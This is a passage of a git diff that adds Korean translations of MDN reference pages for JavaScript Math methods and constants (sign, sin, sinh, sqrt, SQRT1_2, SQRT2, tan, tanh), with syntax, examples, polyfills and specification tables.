+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sign/index.html b/files/ko/web/javascript/reference/global_objects/math/sign/index.html
new file mode 100644
index 0000000000..adb5f15354
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sign/index.html
@@ -0,0 +1,112 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sign
+tags:
+  - JavaScript
+  - Math
+  - 메소드
+  - 참조
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.sign()</code></strong> 함수는 어떤 수의 부호를 반환합니다. 이것은 그 수가 양수, 음수 또는 0인지를 나나냅니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.sign(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>수치.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 인수의 부호를 나타내는 수치. 인수가 양수, 음수, 양수인 영 또는 음수인 영이면, 이 함수는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">1</span></font>, <code>-1</code>, <code>0,</code> <code>-0</code>을 각각 반환합니다. 그렇지 않으면, {{jsxref("NaN")}} 이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>sign()</code> 이<code>Math</code>의 정적 메소드이기 때문에 항상 <code>Math.sign()</code>으로 사용합니다. 사용자가 만든  <code>Math</code> 개체의 메소드로 가 아닙니다.   (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<p>이 함수는 반환 값이 5 가지이며, <code>1</code>, <code>-1</code>, <code>0</code>, <code>-0</code>, <code>NaN 입니다.</code> 각각 "양수", "음수", "양의 영", "음의 영", {{jsxref("NaN")}} 입니다.</p>
+
+<p>이 함수에 전달된 인수는 묵시적으로 <code>수치</code> 로 변환됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.sign()을_사용하기"> <code>Math.sign()</code>을 사용하기</h3>
+
+<pre class="brush: js">Math.sign(3);     //  1
+Math.sign(-3);    // -1
+Math.sign('-3');  // -1
+Math.sign(0);     //  0
+Math.sign(-0);    // -0
+Math.sign(NaN);   // NaN
+Math.sign('foo'); // NaN
+Math.sign();      // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Math.sign) {
+  Math.sign = function(x) {
+    // x 가 NaN 이면, 결과는 NaN 입니다.
+    // x 가 -0 이면, 결과는 -0 입니다.
+    // x 가 +0 이면, 결과는 +0 입니다.
+    // x 가 음수이면서 -0 이 아니면, 결과는 -1 입니다.
+    // x 가 양수이면서 +0 이 아니면, 결과는 +1 입니다.
+    return ((x &gt; 0) - (x &lt; 0)) || +x;
+    // A more aesthetical persuado-representation is shown below
+    //
+    // ( (x &gt; 0) ? 0 : 1 )  // if x is negative then negative one
+    //          +           // else (because you cant be both - and +)
+    // ( (x &lt; 0) ? 0 : -1 ) // if x is positive then positive one
+    //         ||           // if x is 0, -0, or NaN, or not a number,
+    //         +x           // Then the result will be x, (or) if x is
+    //                      // not a number, then x converts to number
+  };
+}
+</pre>
+
+<p>위의 polyfill에서는, <code>(x &gt; 0) 또는 (x &lt; 0)</code> 인 수치들을 만드는 데에 어떤 추가의 타입-강제하기도 필요하지 않은 것은  그 수치들을 서로에게서 빼는 것이 불린형에서 수치로의 형 변환을 강요하기 때문입니다.</p>
+
+<h2 id="규격명세">규격명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">규격명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>최초의 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지에서 호환성 표는 구조화된 자료로부터 생성됩니다. 그 자료에 기여하시려면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하시고 저희에게 pull 요청을 보내십시오.</p>
+
+<p>{{Compat("javascript.builtins.Math.sign")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sin/index.html b/files/ko/web/javascript/reference/global_objects/math/sin/index.html
new file mode 100644
index 0000000000..1978d7f8e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sin/index.html
@@ -0,0 +1,97 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sin
+tags:
+  - 레퍼런스
+  - 메소드
+  - 수학
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.sin()</code></strong> 함수는 숫자의 사인값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sin.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자 (라디안으로 주어짐).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자의 사인 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.sin()</code> 메소드는 라디안으로 주어진 각도의 사인 값인 -1과 1 사이의 수를 반환합니다.</p>
+
+<p> <code>sin()</code> 은 <code>Math</code>의 스태틱 메소드이기 때문에, <code>Math</code> 오브젝트 의 메소드로 사용하지 말고 항상 <code>Math.sin()</code>로 사용해야합니다.  (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.sin()">Using <code>Math.sin()</code></h3>
+
+<pre class="brush: js">Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>최초 정의. JavaScript 1.0. 에서 구현됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sin")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sinh/index.html b/files/ko/web/javascript/reference/global_objects/math/sinh/index.html
new file mode 100644
index 0000000000..9a3bb3a6ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sinh/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.sinh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sinh
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.sinh()</code></strong> 함수(쌍곡선 함수)는 사인값을 반환합니다 이 값은 아래와같은 식을통해서 표현할 수 있습니다.{{jsxref("Math.E", "constant e", "", 1)}}:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.sinh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sinh.html")}}</div>
+
+<p class="hidden">이 대화식 예제의 소스는 GitHub Repository에 저장됩니다. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.sinh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>사인값.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>sinh()</code> 는 <code>Math</code> 의 정적 함수이기 때문에, 자바스크립트 어디든 <code>Math.sinh()</code> 를 사용할 수 있습니다, 따라서  <code>Math</code> 오브젝트를 생성해서는 안됩니다. (<code>Math</code> 는 constructor(생성자) 가 아닙니다.).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Math.sinh_사용하기"><code>Math.sinh()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.sinh(0); // 0
+Math.sinh(1); // 1.1752011936438014
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This can be emulated with the help of the {{jsxref("Math.exp()")}} function:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+  return (Math.exp(x) - Math.exp(-x)) / 2;
+}
+</pre>
+
+<p>or using only one call to the {{jsxref("Math.exp()")}} function:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+  var y = Math.exp(x);
+  return (y - 1 / y) / 2;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sinh")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html
new file mode 100644
index 0000000000..f03af42e6f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -0,0 +1,90 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.sqrt()</code></strong> 함수는 숫자의 제곱근을 반환합니다.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자에 루트(<strong>√ </strong>)를 씌웁니다. 만약 숫자가 음수이면 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 <code>x</code> 가 음수라면 <code>Math.sqrt()</code> 함수는 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<p><code>sqrt()</code>는 <code>Math</code>의 정적 메서드 이므로 만든  <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.sqrt()</code>함수를 사용해야합니다. (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.sqrt()"> <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js">Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sqrt")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..ee347e46eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html
@@ -0,0 +1,59 @@
+---
+title: Math.SQRT1_2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.SQRT1_2</code></strong> 프로퍼티는 약 0.707의 값을 나타내는 루트 1/2을 나타냅니다:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sqrt1_2.html", "shorter")}}</div>
+
+<p class="hidden">이 상호적인 예시의 소스는 깃헙에 저장되어 있습니다. 만약 상호적인 예시 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론한 후, 풀 리퀘스트를 보내주시기 바랍니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SQRT1_2</code> 는 <code>Math</code>의 정적 프로퍼티이기 때문에, 당신이 생성한 <code>Math</code> 오브젝트의 프로퍼티보다는 항상 <code>Math.SQRT1_2</code>의 형태로 사용합니다 (<code>Math</code>는 컨스트럭터가 아닙니다).</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Math.SQRT1_2_의_사용"><code>Math.SQRT1_2</code> 의 사용</h3>
+
+<p>다음은 루트 1/2를 출력합니다:</p>
+
+<pre class="brush:js">function getRoot1_2() {
+  return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden"><span>이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다.</span> 데이터에 기여하고 싶으시다면,  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 풀 리퀘스트를 보내 주시기 바랍니다.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT1_2")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html
new file mode 100644
index 0000000000..1ad86df55b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html
@@ -0,0 +1,74 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.SQRT2</code></strong> 는 2의 제곱근을 나타내고 약 1.414 입니다:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p> <code>SQRT2</code> 는  <code>Math</code>의 정적 메서드 이므로 만든 <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.SQRT2</code> 함수를 사용해야합니다.  (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.SQRT2"><code>Math.SQRT2</code></h3>
+
+<p>이 함수는 2의 제곱근을 반환합니다.</p>
+
+<pre class="brush: js">function getRoot2() {
+  return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT2")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/tan/index.html b/files/ko/web/javascript/reference/global_objects/math/tan/index.html
new file mode 100644
index 0000000000..64a1468020
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/tan/index.html
@@ -0,0 +1,102 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tan
+tags:
+  - 레퍼런스
+  - 메소드
+  - 수학
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.tan()</code></strong> 함수는 탄젠트 값을 반환합니다</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tan.html")}}</div>
+
+
+
+<h2 id="신텍스">신텍스</h2>
+
+<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>라디안 각도 </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 탄젠트 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.tan()</code> 메소드는 각도의 탄젠트 값을 수로 반환합니다.</p>
+
+<p><code>tan()</code>은 <code>Math</code>의 정적 메서드이므로 사용자가 만든 <code>Math</code> 객체의 메서드가 아닌 항상 <code>Math.tan()</code>으로 사용합니다 (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.tan()">Using <code>Math.tan()</code></h3>
+
+<pre class="brush: js">Math.tan(1); // 1.5574077246549023
+</pre>
+
+<p><code>Math.tan()</code>함수는 라디안 값으로 받지만 각도로 작업하는 것이 더 쉽기 때문에 다음 함수는 각도로 값을 받아서 라디안으로 변환하고 탄젠트를 반환합니다.</p>
+
+<pre class="brush: js">function getTanDeg(deg) {
+  var rad = deg * Math.PI/180;
+  return Math.tan(rad);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.tan")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/tanh/index.html b/files/ko/web/javascript/reference/global_objects/math/tanh/index.html
new file mode 100644
index 0000000000..97055e165b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/tanh/index.html
@@ -0,0 +1,85 @@
+---
+title: Math.tanh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tanh
+tags:
+  - ECMAScript 2015
+  - 레퍼런스
+  - 메서드
+  - 수학
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.tanh()</code></strong> 함수는 쌍곡탄젠트 값을 반환합니다. 수식으로는 아래와 같습니다.</p>
+
+<p><math display="block"><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tanh.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.tanh(<var>x</var>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 쌍곡탄젠트 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>tanh()</code> 은 <code>Math</code>의 정적 메서드이므로 사용자가 만든 <code>Math</code> 객체의 메서드가 아닌 항상 <code>Math.tanh()</code> 으로 사용합니다 (<code>Math</code> 는 생성자가 아닙니다.).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.tanh">Using <code>Math.tanh()</code></h3>
+
+<pre class="brush: js">Math.tanh(0);        // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1);        // 0.7615941559557649
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This can be emulated with the help of the {{jsxref("Math.exp()")}} function:</p>
+
